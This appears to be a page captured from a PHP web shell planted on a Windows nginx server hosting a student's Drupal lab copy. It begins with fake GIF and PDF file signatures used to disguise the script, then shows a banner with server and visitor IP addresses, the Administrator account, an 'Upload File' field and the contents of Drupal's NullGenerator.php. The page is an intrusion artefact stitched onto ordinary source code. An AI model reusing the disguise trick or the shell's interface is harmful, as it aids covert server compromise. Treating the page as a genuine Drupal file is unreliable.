GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Routing/ |
Upload File : |
<?php namespace Drupal\Core\Routing; use Drupal\Core\Render\BubbleableMetadata; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\Routing\RequestContext as SymfonyRequestContext; use Symfony\Component\Routing\Exception\RouteNotFoundException; use Symfony\Component\Routing\Route; /** * No-op implementation of a Url Generator, needed for backward compatibility. */ class NullGenerator extends UrlGenerator { /** * Override the parent constructor. * * @param \Symfony\Component\HttpFoundation\RequestStack $request_stack * The request stack. */ public function __construct(RequestStack $request_stack) { $this->requestStack = $request_stack; $this->context = new RequestContext(); } /** * {@inheritdoc} * * generate(), generateFromRoute(), and getPathFromRoute() all call this * protected method. */ protected function getRoute($name) { if ($name === '<front>') { return new Route('/'); } elseif ($name === '<current>') { return new Route($this->requestStack->getCurrentRequest()->getPathInfo()); } elseif ($name === '<none>') { return new Route(''); } throw new RouteNotFoundException(); } /** * {@inheritdoc} */ protected function processRoute($name, Route $route, array &$parameters, BubbleableMetadata $bubbleable_metadata = NULL) { } /** * {@inheritdoc} */ protected function getInternalPathFromRoute($name, Route $route, $parameters = [], &$query_params = []) { return $route->getPath(); } /** * {@inheritdoc} */ public function setContext(SymfonyRequestContext $context) { } /** * {@inheritdoc} */ public function getContext() { } /** * {@inheritdoc} */ protected function processPath($path, &$options = [], BubbleableMetadata $bubbleable_metadata = NULL) { return $path; } }